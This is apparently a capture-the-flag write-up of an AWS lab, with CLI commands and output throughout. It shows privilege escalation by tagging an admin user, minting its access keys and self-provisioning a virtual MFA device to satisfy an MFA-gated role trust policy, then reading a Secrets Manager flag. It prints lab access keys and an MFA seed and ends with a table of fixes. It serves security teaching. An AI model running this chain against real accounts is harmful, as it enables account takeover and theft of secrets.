Sypnosis
Rotation simulates an AWS penetration test against a client rolling out a standard developer IAM user. Starting from a low-privileged access key, the goal is to escalate privileges and ultimately read a flag stored in AWS Secrets Manager.
The box chains three distinct AWS misconfigurations:
- An overly broad tag-based conditional IAM policy that allows self-service key rotation on any user carrying a specific tag — combined with unrestricted tagging rights on other IAM principals.
- A privileged user (
admin_lab) that is permitted to sts:AssumeRole into a role with Secrets Manager access, but whose assume-role is gated behind an MFA-present condition — which can be satisfied entirely through IAM API calls, without ever touching the AWS Console.
- A Secrets Manager secret reachable only through that role.
Objectives
You have been hired to perform an AWS pentest against a client's infrastructure. They are in the process of rolling out a new standard user to all of their developers. They have placed a flag in Secrets Manager to simulate a full compromise. Can you abuse your permissions, elevate your access, and gain access to Secrets Manager?
Initial Access
We were issued a starting IAM access key/secret pair with no VPN required — straight access to the AWS API.
aws configure --profile rotation
# AWS Access Key ID: AKIAYR35WUFDZ72BDXFZ
# AWS Secret Access Key: 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
# Default region name: us-east-1
# Default output format: json
Confirming identity:
aws sts get-caller-identity --profile rotation
{
"UserId": "AIDAYR35WUFDUVFF3VEHV",
"Account": "588137275719",
"Arn": "arn:aws:iam::588137275719:user/manager_lab"
}
We are manager_lab in account 588137275719.
Enumeration
Attached / inline policies on our user
aws iam list-attached-user-policies --user-name manager_lab --profile rotation
aws iam list-user-policies --user-name manager_lab --profile rotation
{
"AttachedPolicies": [
{ "PolicyName": "IAMReadOnlyAccess", "PolicyArn": "arn:aws:iam::aws:policy/IAMReadOnlyAccess" }
]
}
{
"PolicyNames": [ "SelfManageAccess", "TagResources" ]
}
manager_lab has AWS-managed read-only IAM visibility, plus two inline
policies worth a closer look — SelfManageAccess and TagResources.
SelfManageAccess
aws iam get-user-policy --user-name manager_lab --policy-name SelfManageAccess --profile rotation
{
"Statement": [
{
"Sid": "SelfManageAccess",
"Effect": "Allow",
"Action": [
"iam:DeactivateMFADevice", "iam:GetMFADevice", "iam:EnableMFADevice",
"iam:ResyncMFADevice", "iam:DeleteAccessKey", "iam:UpdateAccessKey",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::588137275719:user/*",
"arn:aws:iam::588137275719:mfa/*"
],
"Condition": {
"StringEquals": { "aws:ResourceTag/developer": "true" }
}
},
{
"Sid": "CreateMFA",
"Effect": "Allow",
"Action": [ "iam:DeleteVirtualMFADevice", "iam:CreateVirtualMFADevice" ],
"Resource": "arn:aws:iam::588137275719:mfa/*"
}
]
}
Key finding: this policy is scoped to user/* (any user in the account, not just manager_lab) and gated only by a resource tag condition (developer=true) — not by resource name. Anyone who can apply that tag to another user can then rotate/create access keys for that user.
TagResources
aws iam get-user-policy --user-name manager_lab --policy-name TagResources --profile rotation
{
"Statement": [
{
"Sid": "TagResources",
"Effect": "Allow",
"Action": [
"iam:UntagUser", "iam:UntagRole", "iam:TagRole",
"iam:UntagMFADevice", "iam:UntagPolicy", "iam:TagMFADevice",
"iam:TagPolicy", "iam:TagUser"
],
"Resource": "*"
}
]
}
iam:TagUser on Resource: "*" — we can tag any IAM user in the account, including with developer=true. Combined with SelfManageAccess, this is a complete privilege escalation primitive:
Tag any user as developer=true → mint/rotate an access key for that
user → authenticate as them.
Enumerating other IAM users
aws iam list-users --profile rotation
{
"Users": [
{ "UserName": "admin_lab" },
{ "UserName": "developer_lab" },
{ "UserName": "manager_lab" }
]
}
Checking each user's policies (allowed by IAMReadOnlyAccess):
aws iam list-attached-user-policies --user-name developer_lab --profile rotation
# {"AttachedPolicies": []}
aws iam list-user-policies --user-name developer_lab --profile rotation
# {"PolicyNames": ["DeveloperViewSecrets"]}
aws iam list-attached-user-policies --user-name admin_lab --profile rotation
# {"AttachedPolicies": [{"PolicyName": "IAMReadOnlyAccess", ...}]}
aws iam list-user-policies --user-name admin_lab --profile rotation
# {"PolicyNames": ["AssumeRoles"]}
Pulling both candidate policies:
aws iam get-user-policy --user-name developer_lab --policy-name DeveloperViewSecrets --profile rotation
{
"Statement": [
{ "Sid": "ViewSecrets", "Effect": "Allow", "Action": "secretsmanager:ListSecrets", "Resource": "*" }
]
}
developer_lab can only list secrets — no GetSecretValue. A dead end by itself.
aws iam get-user-policy --user-name admin_lab --policy-name AssumeRoles --profile rotation
{
"Statement": [
{
"Sid": "AssumeRole",
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::588137275719:role/cg_secretsmanager_lab"
}
]
}
admin_lab can assume cg_secretsmanager_lab — a role name that strongly implies Secrets Manager access. admin_lab is our target.
Exploitation
1. Tag admin_lab as a "developer"
aws iam tag-user --user-name admin_lab --tags Key=developer,Value=true --profile rotation
2. Mint an access key for admin_lab
aws iam create-access-key --user-name admin_lab --profile rotation
First attempt failed — the account already had 2 access keys on admin_lab(the AWS hard limit per user):
[ERROR]: LimitExceeded — Cannot exceed quota for AccessKeysPerUser: 2
Our SelfManageAccess policy also grants iam:DeleteAccessKey on tagged users, so we cleared a slot:
aws iam list-access-keys --user-name admin_lab --profile rotation
aws iam delete-access-key --user-name admin_lab --access-key-id <existing-key-id> --profile rotation
aws iam create-access-key --user-name admin_lab --profile rotation
{
"AccessKey": {
"UserName": "admin_lab",
"AccessKeyId": "AKIAYR35WUFD35GWSUUB",
"Status": "Active",
"SecretAccessKey": "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"
}
}
3. Authenticate as admin_lab
aws configure --profile admin_lab
aws sts get-caller-identity --profile admin_lab
{
"UserId": "AIDAYR35WUFDT5IVP5LTT",
"Account": "588137275719",
"Arn": "arn:aws:iam::588137275719:user/admin_lab"
}
4. First AssumeRole attempt — blocked
aws sts assume-role \
--role-arn arn:aws:iam::588137275719:role/cg_secretsmanager_lab \
--role-session-name pentest-session \
--profile admin_lab
[ERROR]: AccessDenied — User: arn:aws:iam::588137275719:user/admin_lab is not authorized to perform: sts:AssumeRole on resource: .../cg_secretsmanager_lab
Despite the identity-based policy allowing it, the call fails — meaning the role's trust policy is the blocker. Checking it:
aws iam get-role --role-name cg_secretsmanager_lab --profile rotation
{
"AssumeRolePolicyDocument": {
"Statement": [
{
"Effect": "Allow",
"Principal": { "AWS": "arn:aws:iam::588137275719:root" },
"Action": "sts:AssumeRole",
"Condition": {
"Bool": { "aws:MultiFactorAuthPresent": "true" }
}
}
]
}
}
The role trusts the whole account (root principal) but requires an MFA-authenticated session on the caller. Plain long-term access keys never carry that condition — we need to attach and use a virtual MFA device.
5. Provision a virtual MFA device for admin_lab
manager_lab's SelfManageAccess + CreateMFA statements grant iam:CreateVirtualMFADevice / iam:EnableMFADevice on mfa/* and tagged user/* resources — and admin_lab is already tagged developer=true.
aws iam create-virtual-mfa-device \
--virtual-mfa-device-name admin-lab-mfa \
--bootstrap-method Base32StringSeed \
--outfile admin-lab-mfa-seed.txt \
--profile rotation
cat admin-lab-mfa-seed.txt
# 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
ℹ️
Note: --outfile is mandatory in the AWS CLI regardless of bootstrap method. Using Base32StringSeed writes a plain-text base32 seed instead of a QR PNG, which lets us generate TOTP codes headlessly with oathtool.
6. Generate two consecutive TOTP codes and enable the device
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 284631
sleep 30
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 168663
aws iam enable-mfa-device \
--user-name admin_lab \
--serial-number arn:aws:iam::588137275719:mfa/admin-lab-mfa \
--authentication-code1 284631 \
--authentication-code2 168663 \
--profile rotation
No error — the MFA device is now attached to admin_lab.
7. Get an MFA-authenticated session token as admin_lab
oathtool --totp -b 4HL7EVGOUHHFWTUIG7FKVMNU6ICLN73YYWFOX6PXOUCM3WPCNVZ5NPLTMNEYFYHX
# 863676
aws sts get-session-token \
--serial-number arn:aws:iam::588137275719:mfa/admin-lab-mfa \
--token-code 863676 \
--profile admin_lab
{
"Credentials": {
"AccessKeyId": "ASIAYR35WUFDT3UJSHMY",
"SecretAccessKey": "FOnfeTV08y1WCOZRrKfhYKlKeezFnQTYfe0u22UX",
"SessionToken": "IQoJb3JpZ2luX2VjEOT...",
"Expiration": "2026-07-31T23:44:33+00:00"
}
}
These temporary credentials carry aws:MultiFactorAuthPresent: true.
8. Assume the role with the MFA session
export AWS_ACCESS_KEY_ID=ASIAYR35WUFDT3UJSHMY
export AWS_SECRET_ACCESS_KEY=FOnfeTV08y1WCOZRrKfhYKlKeezFnQTYfe0u22UX
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEOT...
aws sts assume-role \
--role-arn arn:aws:iam::588137275719:role/cg_secretsmanager_lab \
--role-session-name pentest-session
{
"Credentials": {
"AccessKeyId": "ASIAYR35WUFDYGQVPDSL",
"SecretAccessKey": "TPd2jQdqHzv4iBJpw5eK5LYYitPnO0wdtoL1Aw1k",
"SessionToken": "FwoGZXIvYXdzEPX...",
"Expiration": "2026-07-31T12:45:22+00:00"
},
"AssumedRoleUser": {
"Arn": "arn:aws:sts::588137275719:assumed-role/cg_secretsmanager_lab/pentest-session"
}
}
Role assumed successfully.
9. Read the flag from Secrets Manager
export AWS_ACCESS_KEY_ID=ASIAYR35WUFDYGQVPDSL
export AWS_SECRET_ACCESS_KEY=TPd2jQdqHzv4iBJpw5eK5LYYitPnO0wdtoL1Aw1k
export AWS_SESSION_TOKEN=FwoGZXIvYXdzEPX...
export AWS_DEFAULT_REGION=us-east-1
aws secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:588137275719:secret:cg_secret_lab-kd8pUx",
"Name": "cg_secret_lab",
"Description": "The primary secret for the iam_privesc_by_key_rotation scenario"
}
]
}
aws secretsmanager get-secret-value --secret-id cg_secret_lab
{
"Name": "cg_secret_lab",
"SecretString": "HSM{REDACTED}"
}
| Weakness | Explanation | Fix |
|---|
Tag-based IAM conditions on user/* | SelfManageAccess was intended to let users rotate their own keys/MFA, but scoped the resource to user/* with only a tag condition — any user able to write that tag can hijack the policy for any account. | Scope self-service policies with aws:username == requester (e.g. "Resource": "arn:aws:iam::ACCOUNT:user/${aws:username}"), not tags alone. |
Unrestricted iam:TagUser/iam:TagRole on Resource: "*" | Letting a low-privileged principal tag arbitrary IAM identities enables it to satisfy tag-based conditions elsewhere in the account. | Restrict tagging actions to specific resources/tag keys via aws:TagKeys and aws:RequestTag conditions, and never grant tagging rights broader than the principals a role is meant to manage. |
| MFA-gated trust policy is bypassable via API-only MFA | The cg_secretsmanager_lab trust policy assumed MFA meant "a human with a physical/app MFA device in the Console," but sts:GetSessionToken lets any principal that can manage its own virtual MFA device satisfy the same condition non-interactively. | Combine MFA conditions with additional controls (e.g. hardware MFA enforcement, SCPs restricting CreateVirtualMFADevice/EnableMFADevice to trusted admins only) so a compromised low-priv user can't self-provision MFA for another identity. |
| Access key rotation permissions treated as "safe" self-service | Key rotation/creation permissions are inherently privilege-equivalent to the target user — granting them broadly is equivalent to granting that user's full privilege set. | Treat iam:CreateAccessKey/iam:UpdateAccessKey as high-privilege actions; restrict strictly to ${aws:username} and audit any tag-based conditions carefully. |
Attack Chain Summary
manager_lab (IAMReadOnlyAccess, SelfManageAccess, TagResources)
│
│ iam:TagUser (Resource: *)
▼
tag admin_lab → developer=true
│
│ iam:CreateAccessKey (Resource: user/*, Condition: tag=developer)
▼
new access key for admin_lab
│
│ admin_lab: AssumeRoles policy → cg_secretsmanager_lab
│ BUT role trust policy requires MFA
▼
manager_lab: iam:CreateVirtualMFADevice / iam:EnableMFADevice
(on admin_lab, tagged developer=true)
│
▼
enable virtual MFA on admin_lab → generate TOTP (oathtool)
│
│ sts:GetSessionToken --serial-number ... --token-code ...
▼
MFA-authenticated temporary credentials for admin_lab
│
│ sts:AssumeRole → cg_secretsmanager_lab (trust condition satisfied)
▼
role credentials with Secrets Manager access
│
│ secretsmanager:ListSecrets / GetSecretValue
▼
FLAG